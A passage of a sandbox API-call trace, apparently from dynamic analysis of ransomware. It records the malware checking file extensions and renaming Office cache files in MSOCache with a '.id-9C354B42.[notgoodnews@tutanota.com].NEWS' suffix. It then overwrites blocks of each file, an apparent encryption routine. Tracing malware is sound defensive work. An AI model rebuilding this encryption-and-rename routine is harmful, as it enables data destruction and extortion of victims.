Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0059.979] lstrlenW (lpString=".doc") returned 4 [0059.979] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0059.980] lstrlenW (lpString=".docx") returned 5 [0059.980] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0059.980] lstrlenW (lpString=".pdf") returned 4 [0059.980] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0059.980] lstrlenW (lpString=".xls") returned 4 [0059.980] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0059.980] lstrlenW (lpString=".xlsx") returned 5 [0059.980] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0059.980] lstrlenW (lpString=".ppt") returned 4 [0059.980] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0059.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0059.980] lstrlenW (lpString=".zip") returned 4 [0059.980] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0059.980] lstrlenW (lpString=".rar") returned 4 [0059.980] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0059.980] lstrlenW (lpString=".bz2") returned 4 [0059.980] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0059.980] lstrlenW (lpString=".7z") returned 3 [0059.980] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0059.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0059.981] lstrlenW (lpString=".dbf") returned 4 [0059.981] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0059.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0059.981] lstrlenW (lpString=".1cd") returned 4 [0059.981] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0059.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0059.981] lstrlenW (lpString=".jpg") returned 4 [0059.981] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0059.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0059.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0059.981] lstrlenW (lpString=".doc") returned 4 [0059.981] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0059.981] lstrlenW (lpString=".docx") returned 5 [0059.981] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0059.981] lstrlenW (lpString=".pdf") returned 4 [0059.981] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0059.981] lstrlenW (lpString=".xls") returned 4 [0059.981] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0059.982] lstrlenW (lpString=".xlsx") returned 5 [0059.982] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0059.982] lstrlenW (lpString=".ppt") returned 4 [0059.982] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0059.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0059.982] lstrlenW (lpString=".zip") returned 4 [0059.982] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0059.982] lstrlenW (lpString=".rar") returned 4 [0059.982] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0059.982] lstrlenW (lpString=".bz2") returned 4 [0059.982] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0059.982] lstrlenW (lpString=".7z") returned 3 [0059.982] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0059.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0059.982] lstrlenW (lpString=".dbf") returned 4 [0059.982] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0059.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0059.982] lstrlenW (lpString=".1cd") returned 4 [0059.982] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0059.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0059.982] lstrlenW (lpString=".jpg") returned 4 [0059.982] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0059.983] lstrcmpiW (lpString1=".cab", lpString2=".NEWS") returned -1 [0059.983] lstrlenW (lpString="InfLR.cab") returned 9 [0059.983] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0059.983] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=18874884) returned 1 [0059.983] CloseHandle (hObject=0x190) returned 1 [0059.983] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab")) returned 0x2020 [0059.983] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0059.984] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0059.984] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0059.985] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fc6c | out: lpNewFilePointer=0x0) returned 1 [0059.985] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fc2c | out: lpNewFilePointer=0x0) returned 1 [0059.985] ReadFile (in: hFile=0x190, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x337fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x337fc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.030] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x337fc2c | out: lpNewFilePointer=0x0) returned 1 [0060.030] ReadFile (in: hFile=0x190, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x337fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x337fc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.371] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x337fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0060.371] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x337fc2c | out: lpNewFilePointer=0x0) returned 1 [0060.371] ReadFile (in: hFile=0x190, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x337fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x337fc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.406] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.406] WriteFile (in: hFile=0x190, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x337fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x337fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0060.792] SetEndOfFile (hFile=0x190) returned 1 [0060.792] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x3f65878 [0060.799] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fc7c | out: lpNewFilePointer=0x0) returned 1 [0060.799] WriteFile (in: hFile=0x190, lpBuffer=0x3f65878*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x337fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f65878*, lpNumberOfBytesWritten=0x337fc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.802] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x337fc7c | out: lpNewFilePointer=0x0) returned 1 [0060.802] WriteFile (in: hFile=0x190, lpBuffer=0x3f65878*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x337fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f65878*, lpNumberOfBytesWritten=0x337fc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.811] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x337fc7c | out: lpNewFilePointer=0x0) returned 1 [0060.811] WriteFile (in: hFile=0x190, lpBuffer=0x3f65878*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x337fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f65878*, lpNumberOfBytesWritten=0x337fc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.817] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3f65878 | out: hHeap=0x5c0000) returned 1 [0060.817] CloseHandle (hObject=0x190) returned 1 [0066.206] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0066.207] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0066.207] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0066.207] lstrlenW (lpString=".doc") returned 4 [0066.207] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0066.207] lstrlenW (lpString=".docx") returned 5 [0066.207] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0066.207] lstrlenW (lpString=".pdf") returned 4 [0066.207] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0066.207] lstrlenW (lpString=".xls") returned 4 [0066.207] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0066.207] lstrlenW (lpString=".xlsx") returned 5 [0066.207] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0066.207] lstrlenW (lpString=".ppt") returned 4 [0066.207] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0066.207] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0066.207] lstrlenW (lpString=".zip") returned 4 [0066.207] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0066.207] lstrlenW (lpString=".rar") returned 4 [0066.207] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0066.207] lstrlenW (lpString=".bz2") returned 4 [0066.207] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0066.208] lstrlenW (lpString=".7z") returned 3 [0066.208] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0066.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0066.208] lstrlenW (lpString=".dbf") returned 4 [0066.208] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0066.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0066.208] lstrlenW (lpString=".1cd") returned 4 [0066.208] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0066.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0066.208] lstrlenW (lpString=".jpg") returned 4 [0066.208] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0066.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0066.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0066.208] lstrlenW (lpString=".doc") returned 4 [0066.208] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0066.208] lstrlenW (lpString=".docx") returned 5 [0066.208] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0066.208] lstrlenW (lpString=".pdf") returned 4 [0066.208] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0066.209] lstrlenW (lpString=".xls") returned 4 [0066.209] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0066.209] lstrlenW (lpString=".xlsx") returned 5 [0066.209] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0066.209] lstrlenW (lpString=".ppt") returned 4 [0066.209] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0066.209] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0066.209] lstrlenW (lpString=".zip") returned 4 [0066.209] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0066.209] lstrlenW (lpString=".rar") returned 4 [0066.209] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0066.209] lstrlenW (lpString=".bz2") returned 4 [0066.209] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0066.209] lstrlenW (lpString=".7z") returned 3 [0066.209] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0066.209] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0066.209] lstrlenW (lpString=".dbf") returned 4 [0066.209] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0066.209] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0066.209] lstrlenW (lpString=".1cd") returned 4 [0066.209] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0066.210] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0066.210] lstrlenW (lpString=".jpg") returned 4 [0066.210] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0066.210] lstrcmpiW (lpString1=".cab", lpString2=".NEWS") returned -1 [0066.210] lstrlenW (lpString="OfficeLR.cab") returned 12 [0066.210] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0066.210] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=14127746) returned 1 [0066.211] CloseHandle (hObject=0x190) returned 1 [0066.211] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab")) returned 0x2020 [0066.211] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0066.211] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0066.212] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0066.212] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fc6c | out: lpNewFilePointer=0x0) returned 1 [0066.212] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fc2c | out: lpNewFilePointer=0x0) returned 1 [0066.212] ReadFile (in: hFile=0x190, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x337fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x337fc38*=0x40000, lpOverlapped=0x0) returned 1 [0066.217] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x337fc2c | out: lpNewFilePointer=0x0) returned 1 [0066.217] ReadFile (in: hFile=0x190, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x337fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x337fc38*=0x40000, lpOverlapped=0x0) returned 1 [0066.226] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x337fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0066.226] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x337fc2c | out: lpNewFilePointer=0x0) returned 1 [0066.226] ReadFile (in: hFile=0x190, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x337fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x337fc38*=0x40000, lpOverlapped=0x0) returned 1 [0066.244] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.244] WriteFile (in: hFile=0x190, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x337fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x337fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0066.532] SetEndOfFile (hFile=0x190) returned 1 [0066.532] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x3ef4860 [0066.698] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fc7c | out: lpNewFilePointer=0x0) returned 1 [0066.699] WriteFile (in: hFile=0x190, lpBuffer=0x3ef4860*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x337fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef4860*, lpNumberOfBytesWritten=0x337fc88*=0x40000, lpOverlapped=0x0) returned 1 [0066.700] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x337fc7c | out: lpNewFilePointer=0x0) returned 1 [0066.700] WriteFile (in: hFile=0x190, lpBuffer=0x3ef4860*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x337fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef4860*, lpNumberOfBytesWritten=0x337fc88*=0x40000, lpOverlapped=0x0) returned 1 [0066.702] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x337fc7c | out: lpNewFilePointer=0x0) returned 1 [0066.702] WriteFile (in: hFile=0x190, lpBuffer=0x3ef4860*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x337fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef4860*, lpNumberOfBytesWritten=0x337fc88*=0x40000, lpOverlapped=0x0) returned 1 [0066.706] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ef4860 | out: hHeap=0x5c0000) returned 1 [0066.707] CloseHandle (hObject=0x190) returned 1 [0066.707] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0066.707] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0066.707] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0066.707] lstrlenW (lpString=".doc") returned 4 [0066.707] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0066.708] lstrlenW (lpString=".docx") returned 5 [0066.708] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0066.708] lstrlenW (lpString=".pdf") returned 4 [0066.708] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0066.708] lstrlenW (lpString=".xls") returned 4 [0066.708] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0066.708] lstrlenW (lpString=".xlsx") returned 5 [0066.708] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0066.708] lstrlenW (lpString=".ppt") returned 4 [0066.708] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0066.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0066.708] lstrlenW (lpString=".zip") returned 4 [0066.708] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0066.708] lstrlenW (lpString=".rar") returned 4 [0066.708] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0066.708] lstrlenW (lpString=".bz2") returned 4 [0066.708] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0066.708] lstrlenW (lpString=".7z") returned 3 [0066.708] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0066.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0066.708] lstrlenW (lpString=".dbf") returned 4 [0066.708] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0066.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0066.709] lstrlenW (lpString=".1cd") returned 4 [0066.709] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0066.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0066.709] lstrlenW (lpString=".jpg") returned 4 [0066.709] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0066.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0066.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0066.709] lstrlenW (lpString=".doc") returned 4 [0066.709] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0066.709] lstrlenW (lpString=".docx") returned 5 [0066.709] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0066.709] lstrlenW (lpString=".pdf") returned 4 [0066.709] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0066.709] lstrlenW (lpString=".xls") returned 4 [0066.709] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0066.709] lstrlenW (lpString=".xlsx") returned 5 [0066.709] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0066.709] lstrlenW (lpString=".ppt") returned 4 [0066.710] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0066.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0066.710] lstrlenW (lpString=".zip") returned 4 [0066.710] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0066.710] lstrlenW (lpString=".rar") returned 4 [0066.710] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0066.710] lstrlenW (lpString=".bz2") returned 4 [0066.710] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0066.710] lstrlenW (lpString=".7z") returned 3 [0066.710] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0066.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0066.710] lstrlenW (lpString=".dbf") returned 4 [0066.710] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0066.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0066.710] lstrlenW (lpString=".1cd") returned 4 [0066.710] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0066.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0066.710] lstrlenW (lpString=".jpg") returned 4 [0066.710] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0066.711] lstrcmpiW (lpString1=".msi", lpString2=".NEWS") returned -1 [0066.711] lstrlenW (lpString="AccessMUISet.msi") returned 16 [0066.711] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0066.711] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=868864) returned 1 [0066.711] CloseHandle 